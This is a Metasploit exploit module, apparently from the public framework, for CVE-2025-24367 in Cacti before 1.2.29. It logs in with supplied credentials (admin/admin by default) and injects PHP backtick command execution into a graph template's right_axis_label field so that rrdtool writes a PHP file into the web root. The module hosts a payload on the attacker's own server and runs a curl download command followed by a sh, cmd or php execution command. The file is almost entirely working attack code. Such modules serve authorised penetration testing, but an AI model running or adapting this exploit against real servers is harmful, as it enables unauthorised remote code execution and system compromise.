##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Cacti
  prepend Msf::Exploit::Remote::AutoCheck

  class CactiError < StandardError; end
  class CactiNotFoundError < CactiError; end
  class CactiVersionNotFoundError < CactiError; end
  class CactiNoAccessError < CactiError; end
  class CactiCsrfNotFoundError < CactiError; end
  class CactiLoginError < CactiError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cacti Graph Template authenticated RCE versions prior to 1.2.29',
        'Description' => %q{
          This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29.
          Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label
          parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server.
          The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload.
          The initial payload downloads the full payload using curl from the attacker's server and saves it to the
          web root of the cacti server before executing.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'chutchut', # Original discovery
          'Jack Heysel' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py'],
          [ 'GHSA', 'fxrq-fr7h-9rqq'],
          [ 'CVE', '2025-24367'],
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Linux',
            {
              'Arch' => [ARCH_CMD, ARCH_PHP],
              'Platform' => [ 'unix', 'linux', 'php' ],
              # The graph template id 226 corresponds to "Linux - Logged on users"
              'TemplateId' => 226
            }
          ],
          [
            'Windows',
            {
              'Arch' => [ARCH_CMD, ARCH_PHP],
              'Platform' => [ 'win', 'php' ],
              # The graph template id 197 corresponds to "Host MIB - Logged in Users"
              'TemplateId' => 197
            }
          ]
        ],
        'DefaultOptions' => {
          'WfsDelay' => 600
        },
        'DisclosureDate' => '2025-01-27',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
        OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']),
      ]
    )
  end

  def check
    print_status('Checking Cacti version')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?

    html = res.get_html_document
    begin
      @cacti_version = parse_version(html)
      version_msg = "The web server is running Cacti version #{@cacti_version}"
    rescue CactiNotFoundError => e
      return CheckCode::Safe(e.message)
    rescue CactiVersionNotFoundError => e
      return CheckCode::Unknown(e.message)
    end

    if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.29')
      print_good(version_msg)
    else
      return CheckCode::Safe(version_msg)
    end

    @csrf_token = parse_csrf_token(html)
    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?

    begin
      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
    rescue CactiError => e
      return CheckCode::Unknown("Login failed: #{e}")
    end

    @logged_in = true
    CheckCode::Vulnerable('Successfully verified code execution on the target')
  end

  def csrf_magic_token
    template_url = normalize_uri(target_uri.path, '/graph_templates.php?action=template_edit&id=' + target['TemplateId'].to_s)
    res = send_request_cgi({
      'uri' => template_url,
      'method' => 'GET',
      'keep_cookies' => true
    })
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Could not access graph template edit page at #{template_url}")
    end

    csrf_magic_token = nil
    magic_script_tag = res.get_html_document&.xpath('//script[contains(text(), "csrfMagicToken")]')&.text
    if magic_script_tag
      magic_script_tag =~ /var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)";/
      csrf_magic_token = Regexp.last_match(1)
    end

    fail_with(Failure::UnexpectedReply, 'Could not find csrfMagicToken in the template edit page') if csrf_magic_token.nil?
    csrf_magic_token
  end

  def generate_right_axis_label(command, php_filename)
    <<~LABEL
      XXX
      create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
      graph #{php_filename} -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`#{command}`;?>
    LABEL
  end

  def send_template_update(csrf_magic, right_axis_label)
    data = {
      '__csrf_magic' => csrf_magic,
      'name' => 'Host MIB - Logged in Users',
      'graph_template_id' => target['TemplateId'],
      'graph_template_graph_id' => target['TemplateId'],
      'save_component_template' => '1',
      'title' => '|host_description| - Logged in Users',
      'vertical_label' => 'percent',
      'image_format_id' => '3',
      'height' => '200',
      'width' => '700',
      'base_value' => '1000',
      'slope_mode' => 'on',
      'auto_scale' => 'on',
      'auto_scale_opts' => '2',
      'auto_scale_rigid' => 'on',
      'upper_limit' => '100',
      'lower_limit' => '0',
      'right_axis_label' => right_axis_label,
      'action' => 'save'
    }

    update_url = normalize_uri(target_uri.path, '/graph_templates.php?header=false')
    res = send_request_cgi!({
      'uri' => update_url,
      'method' => 'POST',
      'keep_cookies' => true,
      'data' => URI.encode_www_form(data)
    })
    print_status("Template update response: HTTP #{res.code}") if res
  end

  def trigger_template
    trigger_url = normalize_uri(target_uri.path, '/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700')
    res = send_request_cgi({
      'uri' => trigger_url,
      'method' => 'GET',
      'keep_cookies' => true
    })
    print_status("Trigger template update response: HTTP #{res.code}") if res
  end

  def upload_stage(upload_payload_command)
    csrf_magic = csrf_magic_token
    php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"
    register_file_for_cleanup(php_filename)

    right_axis_label = generate_right_axis_label(upload_payload_command, php_filename)
    send_template_update(csrf_magic, right_axis_label)
    trigger_template

    php_payload_check = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),
      'method' => 'GET',
      'keep_cookies' => true
    })
    if php_payload_check && php_payload_check.code == 200
      print_good("PHP payload uploaded successfully to #{target_uri.path}/#{php_filename}")
    else
      fail_with(Failure::UnexpectedReply, "Could not access the uploaded payload at #{target_uri.path}/#{php_filename}")
    end
  end

  def execute_stage(execute_payload_command)
    csrf_magic = csrf_magic_token
    php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"
    register_file_for_cleanup(php_filename)

    right_axis_label = generate_right_axis_label(execute_payload_command, php_filename)
    send_template_update(csrf_magic, right_axis_label)
    trigger_template

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),
      'method' => 'GET',
      'keep_cookies' => true
    })
  end

  def on_request_uri(cli, request)
    print_status("Request '#{request.method} #{request.uri}'")
    print_status('Sending payload ...')
    send_response(cli, payload.encoded,
                  'Content-Type' => 'application/octet-stream')
  end

  def authenticate
    if @csrf_token.blank? || @cacti_version.blank?
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'GET',
        'keep_cookies' => true
      )
      fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?

      html = res.get_html_document
      if @csrf_token.blank?
        print_status('Getting the CSRF token to login')
        @csrf_token = parse_csrf_token(html)
        fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?

        vprint_good("CSRF token: #{@csrf_token}")
      end

      if @cacti_version.blank?
        print_status('Getting the version')
        begin
          @cacti_version = parse_version(html)
          vprint_good("Version: #{@cacti_version}")
        rescue CactiError => e
          print_error("Could not get the version, the exploit might fail: #{e}")
        end
      end
    end

    unless @logged_in
      begin
        do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
      rescue CactiError => e
        fail_with(Failure::NoAccess, "Login failure: #{e}")
      end
    end
  end

  def validate
    super

    if Rex::Socket.is_ipv6?(srvhost_addr)
      raise Msf::OptionValidateError({ 'SRVHOST' => 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.' })
    end
  end

  def exploit
    authenticate
    hosted_payload_name = Rex::Text.rand_text_alpha_lower(1)
    start_service('Path' => "/#{hosted_payload_name}", 'ssl' => false)
    if payload.arch.first == ARCH_CMD
      if target.name == 'Windows'
        on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.bat"
        execute_payload_command = "cmd\\x20/c\\x20#{on_disk_payload_name}"
      else
        on_disk_payload_name = Rex::Text.rand_text_alpha_lower(1)
        execute_payload_command = "sh\\x20#{on_disk_payload_name}"
      end
    else
      on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.php"
      execute_payload_command = "php\\x20#{on_disk_payload_name}"
    end
    vprint_status("Payload execution command: #{execute_payload_command}")

    # upload_payload_command must not exceed 47 characters or the exploit will fail, this is why 1 character payload names are used, SSL is disabled and IPv6 addresses for SRVHOST are not supported
    upload_payload_command = "curl\\x20#{srvhost_addr}\\x3a#{srvport}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}"
    fail_with(Exploit::Failure::BadConfig, "The generated upload command length of: #{upload_payload_command.length}, exceeds the 47 character limit, please attempt to shorten either SRVHOST or SRVPORT") if upload_payload_command.length > 47
    upload_stage(upload_payload_command)
    execute_stage(execute_payload_command)
  end
end
